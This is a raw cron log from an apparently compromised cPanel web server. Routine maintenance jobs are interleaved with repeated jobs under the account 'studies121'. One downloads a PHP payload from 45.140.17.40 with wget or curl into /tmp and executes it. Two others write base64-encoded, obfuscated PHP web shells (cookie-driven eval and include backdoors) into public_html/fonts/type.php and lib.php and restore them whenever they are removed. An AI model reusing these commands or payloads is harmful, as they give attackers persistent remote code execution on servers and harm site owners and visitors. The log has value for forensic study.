Aug 31 03:24:01 ip-184-168-122-23 CROND[19931]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:24:01 ip-184-168-122-23 CROND[19933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:24:01 ip-184-168-122-23 CROND[19934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:24:01 ip-184-168-122-23 CROND[19936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:24:01 ip-184-168-122-23 CROND[19938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:25:01 ip-184-168-122-23 CROND[20018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:25:01 ip-184-168-122-23 CROND[20020]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:25:01 ip-184-168-122-23 CROND[20022]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:25:01 ip-184-168-122-23 CROND[20024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:25:01 ip-184-168-122-23 CROND[20023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:25:01 ip-184-168-122-23 CROND[20025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:26:01 ip-184-168-122-23 CROND[20103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:26:01 ip-184-168-122-23 CROND[20105]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:26:01 ip-184-168-122-23 CROND[20106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:26:01 ip-184-168-122-23 CROND[20107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:26:01 ip-184-168-122-23 CROND[20108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:26:01 ip-184-168-122-23 anacron[17292]: Job `cron.daily' started
Aug 31 03:26:01 ip-184-168-122-23 run-parts(/etc/cron.daily)[20118]: starting logrotate
Aug 31 03:26:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[20143]: finished logrotate
Aug 31 03:26:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[20118]: starting man-db.cron
Aug 31 03:26:03 ip-184-168-122-23 run-parts(/etc/cron.daily)[20155]: finished man-db.cron
Aug 31 03:26:03 ip-184-168-122-23 anacron[17292]: Job `cron.daily' terminated
Aug 31 03:26:03 ip-184-168-122-23 anacron[17292]: Normal exit (1 job run)
Aug 31 03:27:02 ip-184-168-122-23 CROND[20252]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Aug 31 03:27:02 ip-184-168-122-23 CROND[20255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:27:02 ip-184-168-122-23 CROND[20256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:27:02 ip-184-168-122-23 CROND[20258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:27:02 ip-184-168-122-23 CROND[20257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:28:01 ip-184-168-122-23 CROND[20397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:28:01 ip-184-168-122-23 CROND[20399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:28:02 ip-184-168-122-23 CROND[20401]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:28:02 ip-184-168-122-23 CROND[20402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:28:02 ip-184-168-122-23 CROND[20403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:29:02 ip-184-168-122-23 CROND[20484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:29:02 ip-184-168-122-23 CROND[20487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:29:02 ip-184-168-122-23 CROND[20486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:29:02 ip-184-168-122-23 CROND[20488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:30:01 ip-184-168-122-23 CROND[20573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:30:01 ip-184-168-122-23 CROND[20576]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:30:01 ip-184-168-122-23 CROND[20577]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:30:01 ip-184-168-122-23 CROND[20578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:30:01 ip-184-168-122-23 CROND[20575]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:30:01 ip-184-168-122-23 CROND[20579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:30:01 ip-184-168-122-23 CROND[20580]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 03:30:01 ip-184-168-122-23 CROND[20585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:31:01 ip-184-168-122-23 CROND[20757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:31:01 ip-184-168-122-23 CROND[20759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:31:01 ip-184-168-122-23 CROND[20758]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 03:31:01 ip-184-168-122-23 CROND[20760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:31:01 ip-184-168-122-23 CROND[20761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:32:01 ip-184-168-122-23 CROND[20867]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:32:01 ip-184-168-122-23 CROND[20866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:32:01 ip-184-168-122-23 CROND[20869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:32:01 ip-184-168-122-23 CROND[20868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:32:01 ip-184-168-122-23 CROND[20874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:33:01 ip-184-168-122-23 CROND[20959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:33:01 ip-184-168-122-23 CROND[20961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:33:01 ip-184-168-122-23 CROND[20962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:33:01 ip-184-168-122-23 CROND[20963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:34:01 ip-184-168-122-23 CROND[21035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 03:34:01 ip-184-168-122-23 CROND[21039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 03:34:01 ip-184-168-122-23 CROND[21040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:34:01 ip-184-168-122-23 CROND[21038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:34:01 ip-184-168-122-23 CROND[21037]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 03:35:01 ip-184-168-122-23 CROND[21138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:35:01 ip-184-168-122-23 CROND[21140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:35:01 ip-184-168-122-23 CROND[21141]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 03:35:01 ip-184-168-122-23 CROND[21142]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:35:01 ip-184-168-122-23 CROND[21149]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 03:35:01 ip-184-168-122-23 CROND[21146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
